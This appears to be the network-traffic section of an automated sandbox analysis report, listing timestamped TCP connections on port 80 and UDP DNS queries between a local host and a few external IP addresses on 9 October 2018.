Okt 9, 2018 20:13:50.857347965 MESZ	49365	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.100471973 MESZ	80	49365	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.100790977 MESZ	49365	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.103893042 MESZ	49365	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.345315933 MESZ	80	49365	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.346513987 MESZ	80	49365	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.346678019 MESZ	80	49365	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.346705914 MESZ	80	49365	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.346909046 MESZ	49365	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.347654104 MESZ	49365	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.348989010 MESZ	49366	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.362473965 MESZ	80	49365	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.362761974 MESZ	49365	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.553158998 MESZ	51569	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:51.558706999 MESZ	53	51569	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:51.588598013 MESZ	80	49365	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.589809895 MESZ	80	49366	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.590027094 MESZ	49366	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.591924906 MESZ	49366	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.646928072 MESZ	49367	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:51.833707094 MESZ	80	49366	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.834851027 MESZ	80	49366	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.835011005 MESZ	80	49366	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.835165977 MESZ	80	49366	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.835436106 MESZ	49366	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.836395979 MESZ	49366	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.848052025 MESZ	80	49366	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:51.848297119 MESZ	49366	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:51.854617119 MESZ	63986	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:51.859687090 MESZ	53	63986	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:51.964433908 MESZ	49368	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:52.075371981 MESZ	80	49366	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:52.075800896 MESZ	49366	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:13:52.079936981 MESZ	80	49366	209.99.40.222	192.168.0.42
Okt 9, 2018 20:13:54.647027969 MESZ	49367	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:54.960999012 MESZ	49368	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:13:56.730390072 MESZ	51448	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:56.736028910 MESZ	53	51448	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:56.822741032 MESZ	49369	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:57.563033104 MESZ	49529	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:13:57.568742990 MESZ	53	49529	8.8.8.8	192.168.0.42
Okt 9, 2018 20:13:57.673516989 MESZ	49370	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:13:59.820287943 MESZ	49369	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:00.674237967 MESZ	49370	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:01.599076033 MESZ	56038	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:01.604300022 MESZ	53	56038	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:01.706983089 MESZ	49371	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:03.663825989 MESZ	58581	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:03.669070005 MESZ	53	58581	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:03.769421101 MESZ	49372	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:04.716547012 MESZ	49371	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:06.563963890 MESZ	63343	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:06.569650888 MESZ	53	63343	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:06.769685030 MESZ	49372	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:07.694149017 MESZ	52671	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:07.699359894 MESZ	53	52671	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:07.717652082 MESZ	53967	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:07.722332001 MESZ	53	53967	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:08.746584892 MESZ	55240	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:08.754448891 MESZ	53	55240	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:08.840512037 MESZ	49375	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:08.987001896 MESZ	80	49375	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:08.987447977 MESZ	49375	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:08.990134001 MESZ	49375	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.132422924 MESZ	80	49375	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.145699978 MESZ	80	49375	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.145879030 MESZ	80	49375	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.145911932 MESZ	80	49375	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.146138906 MESZ	49375	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.147237062 MESZ	49375	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.148276091 MESZ	80	49375	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.148596048 MESZ	49375	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.151988983 MESZ	49376	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.291285992 MESZ	80	49375	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.295058966 MESZ	80	49376	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.295483112 MESZ	49376	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.302972078 MESZ	49376	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.445408106 MESZ	80	49376	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.446033955 MESZ	80	49376	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.446203947 MESZ	80	49376	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.446234941 MESZ	80	49376	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.446475029 MESZ	49376	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.447871923 MESZ	49376	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.460042000 MESZ	80	49376	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.460369110 MESZ	49376	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:09.473007917 MESZ	59972	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:09.478557110 MESZ	53	59972	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:09.562400103 MESZ	56994	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:09.567924976 MESZ	53	56994	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:09.592895985 MESZ	80	49376	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:09.663578987 MESZ	49377	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:14:09.709613085 MESZ	49378	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:12.660001040 MESZ	49377	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:14:12.716044903 MESZ	49378	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:14.744970083 MESZ	58320	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:14.764467955 MESZ	53	58320	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:14.873262882 MESZ	49379	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:15.565139055 MESZ	51815	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:15.585374117 MESZ	53	51815	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:15.666695118 MESZ	49380	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:17.873378992 MESZ	49379	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:18.658195972 MESZ	49380	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:19.620038986 MESZ	64705	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:19.625803947 MESZ	53	64705	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:19.716514111 MESZ	49381	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:21.602960110 MESZ	55900	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:21.608515024 MESZ	53	55900	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:21.699300051 MESZ	49382	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:22.717659950 MESZ	49381	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:24.566245079 MESZ	61087	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:24.572144032 MESZ	53	61087	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:24.698641062 MESZ	49382	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:25.703926086 MESZ	54238	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:25.709646940 MESZ	53	54238	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:25.731765032 MESZ	51466	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:25.736671925 MESZ	53	51466	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:26.755947113 MESZ	65265	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:26.760890007 MESZ	53	65265	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:26.853085995 MESZ	49385	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:26.996294975 MESZ	80	49385	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:26.996767044 MESZ	49385	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:26.999870062 MESZ	49385	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.143846989 MESZ	80	49385	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.144835949 MESZ	80	49385	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.144932985 MESZ	80	49385	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.145106077 MESZ	49385	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.146007061 MESZ	49385	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.148441076 MESZ	49386	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.167576075 MESZ	80	49385	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.167893887 MESZ	49385	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.289371967 MESZ	80	49385	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.290745974 MESZ	80	49386	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.291048050 MESZ	49386	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.295191050 MESZ	49386	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.439737082 MESZ	80	49386	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.439877033 MESZ	80	49386	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.440280914 MESZ	80	49386	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.440433979 MESZ	80	49386	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.440771103 MESZ	49386	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.441865921 MESZ	49386	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.454824924 MESZ	80	49386	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.455101013 MESZ	49386	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:27.459978104 MESZ	56534	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:27.465590000 MESZ	53	56534	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:27.568567991 MESZ	50414	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:27.573499918 MESZ	53	50414	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:27.584718943 MESZ	80	49386	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:27.610151052 MESZ	49387	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:14:27.696263075 MESZ	49388	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:30.610083103 MESZ	49387	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:14:30.688010931 MESZ	49388	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:32.730110884 MESZ	62992	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:32.735811949 MESZ	53	62992	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:32.837419033 MESZ	49389	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:33.664973974 MESZ	56588	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:33.670056105 MESZ	53	56588	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:34.820215940 MESZ	49889	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:34.825149059 MESZ	53	49889	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:34.836904049 MESZ	63764	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:34.842365980 MESZ	53	63764	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:35.834352970 MESZ	49389	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:36.858392954 MESZ	56434	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:36.863627911 MESZ	53	56434	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:37.565937996 MESZ	58099	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:37.571623087 MESZ	53	58099	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:37.678487062 MESZ	49393	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:37.960645914 MESZ	55237	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:37.965971947 MESZ	53	55237	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:37.979398012 MESZ	63983	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:37.985500097 MESZ	53	63983	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:40.010701895 MESZ	55646	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:40.031554937 MESZ	53	55646	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:40.687690020 MESZ	49393	80	192.168.0.42	185.77.129.221
Okt 9, 2018 20:14:41.166047096 MESZ	55965	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:41.172051907 MESZ	53	55965	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:41.197495937 MESZ	64736	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:41.202510118 MESZ	53	64736	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:42.553858995 MESZ	64531	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:42.558806896 MESZ	53	64531	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:43.211682081 MESZ	62413	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:43.216978073 MESZ	53	62413	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:43.669158936 MESZ	60667	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:43.674720049 MESZ	53	60667	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:43.691696882 MESZ	59242	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:43.697072029 MESZ	53	59242	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:44.716304064 MESZ	59783	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:44.721482992 MESZ	53	59783	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:44.820897102 MESZ	49401	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:44.963450909 MESZ	80	49401	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:44.963855982 MESZ	49401	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:44.968595028 MESZ	49401	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.110905886 MESZ	80	49401	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.112160921 MESZ	80	49401	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.112359047 MESZ	80	49401	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.112512112 MESZ	80	49401	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.112768888 MESZ	49401	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.113256931 MESZ	49401	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.114911079 MESZ	49402	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.124752045 MESZ	80	49401	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.124958992 MESZ	49401	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.256120920 MESZ	80	49401	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.257330894 MESZ	80	49402	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.257541895 MESZ	49402	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.258635044 MESZ	49402	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.401340961 MESZ	80	49402	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.402187109 MESZ	80	49402	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.402733088 MESZ	80	49402	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.402852058 MESZ	80	49402	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.403067112 MESZ	49402	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.403420925 MESZ	49402	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.405002117 MESZ	51126	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:45.410410881 MESZ	53	51126	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:45.417716980 MESZ	80	49402	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:45.417923927 MESZ	49402	80	192.168.0.42	209.99.40.222
Okt 9, 2018 20:14:45.426311970 MESZ	49403	80	192.168.0.42	104.238.170.189
Okt 9, 2018 20:14:45.547873020 MESZ	80	49402	209.99.40.222	192.168.0.42
Okt 9, 2018 20:14:46.309492111 MESZ	58429	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:46.314677000 MESZ	53	58429	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:47.333349943 MESZ	54776	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:47.338335991 MESZ	53	54776	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:47.340914965 MESZ	64618	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:14:47.346251011 MESZ	53	64618	8.8.8.8	192.168.0.42
Okt 9, 2018 20:14:48.420958042 MESZ	49403	80	192.168.0.42	104.238.170.189

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Okt 9, 2018 20:09:41.485589981 MESZ	61407	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:41.505326033 MESZ	53	61407	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:41.787537098 MESZ	55057	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:41.807564974 MESZ	53	55057	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:41.891869068 MESZ	52256	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:41.912178993 MESZ	53	52256	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:41.954914093 MESZ	56228	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:41.973936081 MESZ	53	56228	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:46.533885002 MESZ	64282	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:46.563433886 MESZ	53	64282	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:46.667782068 MESZ	52556	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:46.697207928 MESZ	53	52556	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:46.710383892 MESZ	55433	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:46.731442928 MESZ	53	55433	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:47.533348083 MESZ	49904	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:47.553278923 MESZ	53	49904	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:51.533967018 MESZ	62676	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:51.560254097 MESZ	53	62676	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:51.661053896 MESZ	52548	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:51.687793016 MESZ	53	52548	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:51.700663090 MESZ	56466	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:51.726303101 MESZ	53	56466	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:52.737251997 MESZ	53298	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:52.878679991 MESZ	53	53298	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:52.976222992 MESZ	53677	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:53.114131927 MESZ	53	53677	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:53.127737999 MESZ	49340	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:53.266772985 MESZ	53	49340	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:53.533803940 MESZ	50886	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:53.563711882 MESZ	53	50886	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:53.901705027 MESZ	51868	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:53.921420097 MESZ	53	51868	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:54.018508911 MESZ	53197	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:54.166485071 MESZ	53	53197	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:54.187385082 MESZ	50752	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:54.193156958 MESZ	53	50752	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:59.602668047 MESZ	54999	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:59.622570038 MESZ	53	54999	8.8.8.8	192.168.0.42
Okt 9, 2018 20:09:59.870594025 MESZ	54401	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:09:59.875857115 MESZ	53	54401	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:04.536900043 MESZ	64870	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:04.556174994 MESZ	53	64870	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:05.534881115 MESZ	53638	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:05.539741993 MESZ	53	53638	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:09.538063049 MESZ	50565	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:09.543179035 MESZ	53	50565	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:10.651702881 MESZ	55001	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:10.677252054 MESZ	53	55001	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:10.689876080 MESZ	64652	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:10.708935022 MESZ	53	64652	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:11.634634972 MESZ	56738	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:11.640055895 MESZ	53	56738	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:11.725567102 MESZ	58320	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:11.744616985 MESZ	53	58320	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:12.424446106 MESZ	50551	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:12.443578959 MESZ	53	50551	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:17.601588011 MESZ	63019	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:17.621062994 MESZ	53	63019	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:17.841474056 MESZ	51793	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:17.847404957 MESZ	53	51793	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:22.538160086 MESZ	51710	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:22.559103012 MESZ	53	51710	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:23.537066936 MESZ	60656	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:23.555862904 MESZ	53	60656	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:27.534969091 MESZ	57242	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:27.554924965 MESZ	53	57242	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:28.700206995 MESZ	53310	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:28.705104113 MESZ	53	53310	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:28.730381012 MESZ	58976	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:28.749808073 MESZ	53	58976	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:29.547827005 MESZ	55802	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:29.553443909 MESZ	53	55802	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:29.766557932 MESZ	53659	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:29.908780098 MESZ	53	53659	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:30.651029110 MESZ	63139	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:30.655920029 MESZ	53	63139	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:35.589493036 MESZ	62014	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:35.595019102 MESZ	53	62014	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:35.803287029 MESZ	51426	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:35.808921099 MESZ	53	51426	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:40.541780949 MESZ	58153	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:40.547384024 MESZ	53	58153	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:41.655937910 MESZ	58627	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:41.661478043 MESZ	53	58627	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:42.780239105 MESZ	50681	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:42.785778999 MESZ	53	50681	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:42.801995993 MESZ	53125	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:42.821742058 MESZ	53	53125	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:44.843209028 MESZ	53270	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:44.848253965 MESZ	53	53270	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:45.547069073 MESZ	49350	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:45.552006006 MESZ	53	49350	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:45.962096930 MESZ	56316	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:45.982712984 MESZ	53	56316	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:45.995511055 MESZ	61194	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:46.000555992 MESZ	53	61194	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:47.682904005 MESZ	64396	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:47.704125881 MESZ	53	64396	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:48.019756079 MESZ	61853	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:48.025079966 MESZ	53	61853	8.8.8.8	192.168.0.42
Okt 9, 2018 20:10:48.410859108 MESZ	63080	53	192.168.0.42	8.8.8.8
Okt 9, 2018 20:10:48.559881926 MESZ	53	63080	8.8.8.8	192.168.0.42
